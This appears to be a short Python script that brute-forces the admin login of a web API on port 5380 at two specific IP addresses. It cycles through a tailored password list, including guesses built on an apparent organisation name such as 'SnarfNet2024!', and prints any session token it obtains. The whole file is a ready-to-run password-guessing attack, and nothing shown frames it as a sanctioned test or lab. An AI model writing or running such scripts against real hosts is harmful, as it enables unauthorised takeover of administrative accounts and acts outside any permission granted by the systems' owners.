20 lines
803 B
Python
20 lines
803 B
Python
import urllib.request
|
|
import json
|
|
|
|
passwords = ['snarfnetadmin', 'admin', 'password', 'SnarfNet2024!', 'SnarfNet2026!', 'root', 'snarf', 'administrator']
|
|
|
|
for host in ['140.44.4.36', '140.44.4.65']:
|
|
print(f"Testing {host}:")
|
|
for pwd in passwords:
|
|
url = f"http://{host}:5380/api/user/login?user=admin&pass={pwd}"
|
|
try:
|
|
with urllib.request.urlopen(url, timeout=3) as resp:
|
|
data = json.loads(resp.read().decode('utf-8'))
|
|
if data.get('status') == 'ok':
|
|
print(f" SUCCESS! Password is '{pwd}', token: {data.get('token')}")
|
|
break
|
|
else:
|
|
print(f" Failed '{pwd}': {data.get('errorMessage')}")
|
|
except Exception as e:
|
|
print(f" Error on {pwd}: {e}")
|